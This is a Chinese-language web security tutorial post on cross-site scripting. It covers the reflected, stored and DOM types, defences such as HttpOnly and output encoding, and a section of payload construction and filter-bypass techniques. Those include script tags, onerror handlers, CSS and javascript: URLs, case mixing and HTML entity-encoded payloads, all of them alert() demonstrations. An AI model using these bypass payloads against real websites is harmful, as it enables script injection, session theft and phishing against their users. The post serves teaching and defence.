1. 程式人生 > >【33】WEB安全學習----XSS攻擊1

【33】WEB安全學習----XSS攻擊1

關於XSS跨站指令碼攻擊有太多文章和教材提供了,本章就簡單介紹XSS攻擊原理,重點介紹XSS程式碼構造和繞過。

一、XSS攻擊原理

XSS攻擊:即跨站指令碼攻擊,是指攻擊者在網頁中嵌入客戶端JavaScript指令碼,當用戶使用瀏覽器瀏覽嵌入惡意程式碼的網頁時,惡意程式碼將會在使用者的瀏覽器上執行。

JavaScript可以用來獲取使用者cookie、改變網頁內容、URL跳轉等等,那麼存在XSS漏洞的網站就可以盜取使用者cookie、黑掉頁面、導航到惡意網址等。

XSS攻擊分為三類:反射型儲存型DOM型

反射型XSS

反射性XSS也叫非持久型XSS,是最容易出現的一種XSS漏洞,當用戶訪問一個帶有XSS程式碼的URL請求時,伺服器端接收資料後處理,然後把帶有XSS程式碼的資料傳送到瀏覽器,瀏覽器解析這段帶有XSS程式碼的資料後,最終造成XSS漏洞。這個過程就像一次反射,故稱為反射型XSS。

儲存型XSS

儲存型XSS又被稱為持久型XSS,儲存型XSS是最危險的一種跨站指令碼。

允許使用者儲存資料的Web應用程式都可能出現儲存型XSS漏洞,當攻擊提交一段XSS程式碼後,被伺服器端接受並存儲,當攻擊者再次訪問頁面時,這段XSS程式碼就會被讀取出來並響應給瀏覽器,造成XSS跨站攻擊。

DOM型XSS

學過JavaScript都知道DOM(文件物件模型),使用DOM可以允許程式動態的訪問和跟新文件的內容和結構。

而基於DOM型的XSS是不需要與伺服器端互動的,它只發生在客戶端處理資料階段。

二、XSS攻擊利用

JavaScript語言非常強大,可以做很多事情,可利用JavaScript做如:經緯度定位、獲取HTML原始碼、H5截圖、埠掃描、CSRF攻擊、鍵盤記錄、頁面偽造、點選劫持、釣魚等等。

具體功能可參考BEFF和一些XSS利用平臺。

三、XSS攻擊修復

1、HttpOnly

HttpOnly最早由微軟提出,如今已成為一個標準,瀏覽器將禁止頁面的JavaScript訪問帶有HttpOnly屬性的Cookie。

所以,HttpOnly是解決XSS攻擊後的Cookie劫持攻擊,而不是解決XSS攻擊。

2、輸入檢查

對使用者提交的資料進行檢查,如長度、型別等檢查,或採用XSS Filter過濾器進行XSS檢查。

3、輸出編碼

可採用HTML實體編碼HtmlEncode。對&、<、>、"、'、/等進行轉義編碼。

四、XSS構造研究

1、插入<>標記

如果能插入<>標記,那麼就能操作一個html標籤,然後通過<script>標籤就能插入任意的指令碼程式碼。

<script>alert(/xss/)</script>

2、利用HTML標籤屬性值執行XSS

如果不能構造自己的HTML標籤,但是還是可以通過其他形式來執行XSS,如HTML標籤的屬性值。

很多HTML標籤中的屬性都支援JavaScript:[code]偽協議的形式,如:

<img src="javascript:alert('xss');">

<table background="javascript:alert('xss');">

但目前支援這種偽協議的瀏覽器為老版本,如IE6。

並不是所有的標記屬性都能產生XSS,通常只有引用檔案的屬性才能觸發XSS。

如:href=、lowsrc=、bgsound=、background=、value=、action=、dynsrc=等等。

經測試,火狐、谷歌瀏覽器均不支援此偽協議:

只有IE6支援此偽協議:

3、利用事件觸發

因為標籤屬性值只有特定瀏覽器才能觸發,如IE6,那麼有沒有其他辦法呢?事件就是其中一種方法。

事件就是瀏覽器自身執行的某種動作,如click、mouseover、load等,而響應事件的函式叫做事件處理函式(事件偵聽器)。如:

<img src="#" onerror=alert(/xss/)>

onerror是IMG標記的一個事件,只要頁面中發生錯誤,該事件立即被啟用。

4、利用CSS進行跨站攻擊

使用CSS樣式表執行JavaScript具有隱蔽性、靈活多變等特點,但是CSS樣式表有一個很大的缺點:各瀏覽器不能通用,甚至於同一瀏覽器不同版本之間都不能通用。

<div style="background-image:url(javascript:alert(/xss1/))">
<style>
    body {background-image:url("javascript:alert(/xss2/)");}
</style>

<style>
    @import 'javascript:alert("xss3")';
</style>

經測試,此程式碼也只能在IE6中被觸發:

可見,以上能通殺的就只有利用事件進行觸發的方法。

5、XSS繞過

大小寫繞過:jaVaSCript

單雙引號互用:<img src='xxx'>、<img src="xxx">

不用引號:<img src=javascript:alert(xss);>

繞過空格:<img/src="javascript:alert('xss');">

編碼繞過:HTML屬性值支援ASCII碼。

通用:

十進位制編碼
<img src="#" onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#47;&#120;&#115;&#115;&#53;&#47;&#41;>  

十六進位制編碼
<img src="#" onerror=&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x002f;&#x0078;&#x0073;&#x0073;&#x0035;&#x002f;&#x0029;>